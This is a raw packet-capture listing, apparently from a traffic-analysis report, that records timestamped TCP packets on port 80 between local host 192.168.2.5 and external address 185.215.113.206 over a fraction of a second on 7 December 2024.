Dec 7, 2024 08:43:41.199273109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.199305058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.199345112 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.200035095 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.200083017 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.200134039 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.200177908 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.200889111 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.200937033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.200985909 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.201023102 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.201853037 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.201895952 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.349695921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.349746943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.349766016 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.349796057 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.350027084 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.350071907 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.350131035 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.350167990 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.350852966 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.350898027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.350918055 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.350955009 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.351711035 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.351753950 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.351758957 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.351785898 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.352488995 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.352531910 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.352653027 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.352698088 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.353385925 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.353430033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.353504896 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.353543043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.354238033 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.354279041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.354319096 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.354361057 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.355086088 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.355123997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.355179071 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.355222940 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.355914116 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.355952024 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.356007099 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.356054068 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.356733084 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.356770992 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.356848955 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.356890917 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.357588053 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.357633114 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.357677937 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.357717991 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.358433962 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.358479023 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.358555079 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.358597040 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.359304905 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.359348059 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.359409094 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.359451056 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.360125065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.360183954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.360198021 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.360234976 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.360980034 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.361021996 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.361098051 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.361140966 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.361871004 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.361916065 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.361916065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.361948967 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.362660885 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.362704992 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.362732887 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.362772942 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.363519907 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.363564968 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.363634109 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.363677025 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.364388943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.364429951 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.364465952 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.364509106 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.365223885 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.365272999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.365329027 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.365370989 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.366029978 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.366075993 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.366137981 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.366183043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.366863966 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.366906881 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.366976023 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.367019892 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.367711067 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.367755890 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.367902994 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.367947102 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.368558884 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.368602037 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.368668079 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.368711948 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.369436026 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.369479895 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.369507074 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.369551897 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.370246887 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.370290995 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.370352983 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.370397091 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.371114969 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.371159077 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.371294975 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.371331930 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.371948004 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.371989965 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.372076988 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.372121096 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.372776985 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.372819901 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.372950077 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.372992992 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.373609066 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.373652935 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.373733044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.373780012 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.374551058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.374597073 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.374600887 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.374639988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.375329018 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.375376940 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.375437021 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.375475883 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.376172066 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.376210928 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.376393080 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.376442909 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.376986027 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.377027988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.377091885 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.377135038 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.377835989 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.377876043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.377953053 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.378000021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.378685951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.378726006 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.378810883 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.378853083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.379533052 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.379573107 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.379625082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.379667997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.380399942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.380445004 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.380501032 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.380542040 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.381196976 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.381242037 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.381308079 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.381349087 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.382057905 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.382098913 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.382150888 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.382194042 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.382894039 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.382936001 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.383013964 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.383054972 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.383760929 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.383802891 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.383877993 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.383919954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.384598017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.384639978 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.384706974 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.384749889 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.385407925 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.385449886 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.385601044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.385643959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.386261940 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.386302948 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.386384964 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.386431932 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.387115002 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.387159109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.387218952 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.387262106 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.387967110 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.388011932 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.388075113 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.388119936 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.388799906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.388839960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.388906956 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.388950109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.389635086 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.389678955 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.389760017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.389801025 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.390486956 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.390535116 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.390605927 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.390649080 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.391340017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.391383886 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.391419888 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.391460896 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.392168999 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.392210960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.392292023 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.392329931 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.393018961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.393060923 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.393210888 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.393254042 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.393812895 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.393857002 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.541887999 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.541948080 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.541965961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.542002916 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.542299986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.542349100 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.542471886 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.542516947 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.543096066 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.543137074 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.543251038 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.543294907 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.544075966 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.544114113 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.544154882 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.544199944 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.544871092 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.544914961 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.545022011 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.545063972 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.545556068 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.545598984 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.545625925 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.545661926 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.546355963 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.546401024 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.546452999 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.546499014 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.547236919 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.547276974 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.547353983 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.547408104 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.548038006 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.548084021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.548161983 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.548203945 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.548849106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.548890114 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.548954010 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.548994064 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.549735069 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.549777031 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.549861908 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.549904108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.550596952 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.550642967 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.550698996 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.550741911 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.551403999 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.551448107 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.551502943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.551548004 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.552284956 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.552329063 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.552411079 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.552450895 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.553078890 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.553123951 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.553201914 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.553241014 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.553929090 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.553972960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.554045916 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.554090023 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.554791927 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.554836988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.554915905 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.554955006 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.555638075 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.555682898 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.555769920 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.555814028 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.556488037 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.556535006 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.556612015 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.556649923 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.557327032 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.557369947 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.557426929 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.557471037 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.558146000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.558187962 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.558527946 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.558568954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.559004068 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.559042931 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.559097052 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.559149981 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.559844017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.559887886 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.559997082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.560039997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.560679913 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.560723066 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.560786009 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.560827017 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.561513901 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.561558008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.561635971 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.561681032 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.562359095 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.562407970 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.562434912 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.562599897 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.563221931 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.563271999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.563354969 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.563395023 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.564044952 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.564090967 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.564160109 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:41.564201117 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:41.564902067 CET	80	49759	185.215.113.206	192.168.2.5
